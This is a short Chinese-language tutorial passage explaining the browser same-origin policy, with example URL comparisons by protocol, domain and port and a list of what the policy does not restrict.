若地址里面的协议、域名和端口号均相同则属于同源。
以下是相对于 http://www.a.com/test/index.html 的同源检测
http://www.a.com/dir/page.html —-成功
http://www.child.a.com/test/index.html —-失败,域名不同
https://www.a.com/test/index.html —-失败,协议不同
http://www.a.com:8080/test/index.html —-失败,端口号不同
2、同一个源:如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
二、同源策略
1、定义:同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。也就是说同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
2、 不受同源策略限制的:
<1>页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
<2>跨域资源的引入是可以的,但是js不能读写加载的内容。